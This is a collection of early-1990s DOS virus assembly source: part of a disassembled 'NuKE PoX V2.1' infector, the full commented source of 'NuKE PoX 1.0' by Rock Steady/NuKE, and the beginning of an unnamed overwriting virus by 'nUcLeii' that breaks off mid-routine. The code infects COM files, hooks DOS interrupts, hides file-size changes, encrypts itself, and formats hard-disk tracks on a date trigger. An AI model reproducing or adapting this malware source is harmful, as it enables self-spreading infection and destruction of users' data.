db 51h, 52h, 1Eh,0E8h, 00h, 03h
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
db 00h, 43h,0E8h,0A0h,0FFh, 72h
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
db 80h,0E1h,0FEh,0B8h, 01h, 43h
db 0E8h, 90h,0FFh
db 72h, 66h
loc_21:
mov ax,3D02h
call sub_2
loc_22:
jc loc_24 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_24 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_23 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_23 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_25 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_24 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_23:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_24:
pop ds
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt return
loc_25:
call sub_15
jc loc_24 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_23
sub_3 endp
data_12 db 0, 0 ; Data table (indexed access)
data_13 dw 0 ; Data table (indexed access)
data_14 dw 0 ; Data table (indexed access)
data_15 dw 0
data_16 dw 0 ; Data table (indexed access)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
call sub_8
jnc loc_26 ; Jump if carry=0
call sub_9
jnc loc_26 ; Jump if carry=0
retn
loc_26:
push ax
mov ax,3D02h
call sub_2
jnc loc_27 ; Jump if carry=0
pop ax
iret ; Interrupt return
loc_27:
push bx
push cx
push dx
push ds
mov bx,ax
call sub_12
jnz loc_28 ; Jump if not zero
call sub_17
loc_28:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
cmp bx,0
je loc_ret_29 ; Jump if equal
cmp bx,5
ja loc_30 ; Jump if above
loc_ret_29:
retn
loc_30:
push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2Fh ; DOS Internal services
;* undocumented function
mov ax,1216h
mov bl,es:[di]
int 2Fh ; DOS Internal services
;* undocumented function
pop bx
add di,11h
mov byte ptr es:[di-0Fh],2
add di,17h
cmp word ptr es:[di],4F43h
jne loc_31 ; Jump if not equal
cmp byte ptr es:[di+2],4Dh ; 'M'
jne loc_34 ; Jump if not equal
jmp short loc_35
db 90h
loc_31:
cmp word ptr es:[di],5845h
jne loc_34 ; Jump if not equal
cmp byte ptr es:[di+2],45h ; 'E'
jne loc_34 ; Jump if not equal
cmp word ptr es:[di-8],4353h
jne loc_32 ; Jump if not equal
cmp word ptr es:[di-6],4E41h
je loc_34 ; Jump if equal
loc_32:
cmp word ptr es:[di-8],2D46h
jne loc_33 ; Jump if not equal
cmp word ptr es:[di-6],5250h
je loc_34 ; Jump if equal
loc_33:
cmp word ptr es:[di-8],4C43h
jne loc_35 ; Jump if not equal
cmp word ptr es:[di-6],4145h
jne loc_35 ; Jump if not equal
loc_34:
jmp short loc_37
db 90h
loc_35:
call sub_12
jz loc_37 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_36 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_36 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_38 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_36 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_36:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
loc_37:
pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
retn
loc_38:
call sub_15
jc loc_36 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_36
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,696h
call sub_2
jc loc_39 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_39 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_39:
stc ; Set carry flag
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push bx
push cx
push dx
push ds
mov ax,4300h
call sub_2
test cl,1
jz loc_40 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_41 ; Jump if carry Set
loc_40:
mov ax,3D02h
call sub_2
jc loc_41 ; Jump if carry Set
mov bx,ax
call sub_12
jnz loc_41 ; Jump if not zero
call sub_17
loc_41:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_42:
cmp byte ptr [si],2Eh ; '.'
je loc_43 ; Jump if equal
inc si
loop locloop_42 ; Loop if cx > 0
loc_43:
cmp word ptr [si+1],4F43h
jne loc_44 ; Jump if not equal
cmp byte ptr [si+3],4Dh ; 'M'
je loc_46 ; Jump if equal
loc_44:
cmp word ptr [si+1],6F63h
jne loc_45 ; Jump if not equal
cmp byte ptr [si+3],6Dh ; 'm'
je loc_46 ; Jump if equal
loc_45:
pop cx
pop si
stc ; Set carry flag
retn
loc_46:
pop cx
pop si
clc ; Clear carry flag
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_47:
cmp byte ptr [si],2Eh ; '.'
je loc_48 ; Jump if equal
inc si
loop locloop_47 ; Loop if cx > 0
loc_48:
cmp word ptr [si+1],5845h
jne loc_49 ; Jump if not equal
cmp byte ptr [si+3],45h ; 'E'
je loc_51 ; Jump if equal
loc_49:
cmp word ptr [si+1],7865h
jne loc_50 ; Jump if not equal
cmp byte ptr [si+3],65h ; 'e'
je loc_51 ; Jump if equal
loc_50:
pop cx
pop si
stc ; Set carry flag
retn
loc_51:
pop cx
pop si
clc ; Clear carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
xchg ax,bx
mov cl,4
shr bx,cl ; Shift w/zeros fill
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_52:
cmp byte ptr [si],2Eh ; '.'
je loc_53 ; Jump if equal
inc si
loop locloop_52 ; Loop if cx > 0
loc_53:
cmp word ptr [si-2],4E41h
jne loc_54 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_57 ; Jump if equal
loc_54:
cmp word ptr [si-2],4E41h
jne loc_55 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_57 ; Jump if equal
loc_55:
cmp word ptr [si-2],544Fh
jne loc_56 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_57 ; Jump if equal
loc_56:
pop cx
pop si
clc ; Clear carry flag
retn
loc_57:
pop cx
pop si
stc ; Set carry flag
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
mov ax,5700h
call sub_2
mov al,cl
or cl,1Fh
dec cx
xor al,cl
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_58 ; Jump if zero
inc dx
loc_58:
pop cx
pop bx
mov cs:data_22,ax
mov cs:data_24,dx
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
call sub_2
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
pushf ; Push flags
push ax
push bx
push cx
push dx
push ds
push es
push ss
push sp
push cs
pop ds
mov dx,74Bh
mov ax,4300h
call sub_2
jc loc_60 ; Jump if carry Set
test cl,1
jz loc_59 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_62 ; Jump if carry Set
loc_59:
mov ax,3D02h
call sub_2
loc_60:
jc loc_62 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_62 ; Jump if zero
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,3
mov dx,77Eh
call sub_2
jc loc_61 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_62 ; Jump if carry Set
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_62 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_61:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_62:
pop sp
pop ss
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,cs:data_28
mov cs:data_13,cx
mov cx,cs:data_29
mov cs:data_14,cx
mov cx,cs:data_27
mov cs:data_15,cx
mov cx,cs:data_26
mov cs:data_16,cx
push ax
push dx
call sub_10
sub dx,cs:data_25
mov word ptr cs:data_12,dx
push ax
push dx
call sub_6
pop dx
pop ax
mov cs:data_29,dx
mov cs:data_28,ax
pop dx
pop ax
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
add ax,696h
adc dx,0
push ax
push dx
call sub_10
sub dx,cs:data_25
add ax,40h
mov cs:data_26,dx
mov cs:data_27,ax
pop dx
pop ax
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
dec cx
mov cs:data_18,cx
mov cs:data_19,dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh
sbb cx,0
mov ax,4200h
call sub_2
push cs
pop ds
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
call sub_2
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
cmp cs:data_21,5A4Dh
je loc_64 ; Jump if equal
mov cx,3
loc_64:
call sub_2
pop dx
pop cx
sub dx,696h
sbb cx,0
mov ax,4200h
call sub_2
mov ah,40h ; '@'
xor cx,cx ; Zero register
call sub_2
mov cx,cs:data_18
mov dx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
call sub_2
retn
sub_17 endp
db 'C:\COMMAND.COM'
db 0
data_18 dw 0
data_19 dw 0
db 00h, 00h,0E9h
data_20 dw 9090h
db 'NuKE PoX V2.1 - Rock Steady'
data_21 dw 0CD90h ; Data table (indexed access)
data_22 dw 20h
data_24 dw 0
db 0, 0
data_25 dw 0
db 0, 0, 0, 0
data_26 dw 0
data_27 dw 0
db 0, 0
data_28 dw 0
data_29 dw 0
db 0, 0, 0
seg_a ends
end start
@@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start
@@ -0,0 +1,317 @@
;hmm.,.,.,.,without a name.,.,.,.,
;this file is much like the 606, only it
;is much more harmful...it has a special suprise
;for three diffrent dates....hehehehe.,.,,..,.,
;i had planned to have it in with the other TR-
;series, but this was much to large to add in with.,.,
;enjoy!....
; nUcLeii
; [*v i a*]===[98]
.model tiny
.code
seg_a segment byte public
ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A
filename equ 30 ;find file name
fileattr equ 21 ;find file attributes
filedate equ 24 ;find file date
filetime equ 22 ;fine file time
org 100h
main proc
start:
call dirloc
infect:
mov dx, 100h
mov bx, handle
mov cx, 1203
mov ah, 40h
int 21h
ret
dirloc:
mov dx, offset dirdat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
newdir:
mov ah,19h ;get drive code
int 21h
mov dl, al ;save drive code
inc dl ;add one to dl (functions differ)
mov ah, 47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h
mov dx, offset daroot ;move dx to change to root
mov ah, 3bh ;change directory to root
int 21h
find:
mov cx, 13h ;include hidden/ro dir.
mov dx, offset wild ;look for '*'
mov ah, 4eh ;find file
int 21h
cmp ax, 12h ;no file?
jne findmore ;no dir? screw it then.
wank1:
jmp rollout
findmore:
mov ah, 4fh ;find next target
int 21h
cmp ax, 12h
je wank ;no more? crew it then.
keepgoin:
mov dx, offset dirdat+filename ;point dx to fcb-filename
mov ah, 3bh ;change directory
int 21h
mov ah, 2fh ;get current dta address
int 21h
mov [diskdat], es ;save old segment
mov [diskdatofs], bx ;save old offset
mov dx, offset filedat ;offset to hold new dta
mov ah, 1ah ;set dta address
int 21h
checkit:
mov cx, 07h ;find any attribute
mov dx, offset filetype ;point dx to exe files
mov ah, 4eh ;find first file function
int 21h
cmp ax, 12h ;was it found?
jne change
nextfile:
mov ah, 4fh ;find next file
int 21h
cmp ax,12h ;none found
jne change ;see what we can do...
mov dx, offset daroot ;dx to change to root directory
mov ah, 3bh
int 21h
mov ah, 1ah ;set dta address
mov ds, [diskdat] ;restore old segment
mov dx, [diskdatofs] ;restore old offset
int 21h
jmp findmore
wank:
jmp rollout
change:
mov ah, 2fh ;temp. store dta
int 21h
mov [tempseg], es ;save old segment
mov [tempofs], bx ;save old offset
mov dx, offset filedat+filename
mov bx, offset filedat ;save file...
mov ax, [bx]+filedate ;tha date
mov orig_date, ax
mov ax, [bx]+filetime ;tha time
mov orig_time, ax
mov ax, [bx]+fileattr ;tha attributes
mov ax, 4300h
int 21h
mov orig_attr, cx
mov ax, 4301h ;change attributes
xor cx, cx ;clear attributes
int 21h
mov ax, 3d00h ;open file and read
int 21h
jc fixup ;error?..go get another!
mov handle, ax ;save handle
mov ah, 3fh ;read from file
mov bx, handle ;move handle to bx
mov cx, 02h ;read 2 bytes
mov dx, offset idbuffer ;save to buffer
int 21h
mov ah, 3eh ;close it for now
mov bx, handle ;load bx with handle
int 21h
mov bx, idbuffer ;give bx the id string
cmp bx, 02ebh ;are we infected?
jne doit ;hmm...go get another.
fixup:
mov ah, 1ah ;set dta address
mov ds, [tempseg] ;restore old segment
mov dx, [tempofs] ;restore old offset
int 21h
jmp nextfile
doit:
mov dx, offset filedat+filename
mov ax, 3d02h ;open victim read/write access
int 21h
mov handle, ax ;save handle
call infect ;do your job...
;mov ax, 3eh
;int 21h
rollout:
mov ax, 5701h ;restore original...
mov bx, handle ;handle
mov cx, orig_time ;time
mov dx, orig_date ;date
int 21h
mov ax, 4301h ;and attributes
mov cx, orig_attr
mov dx, offset filedat+filename
int 21h
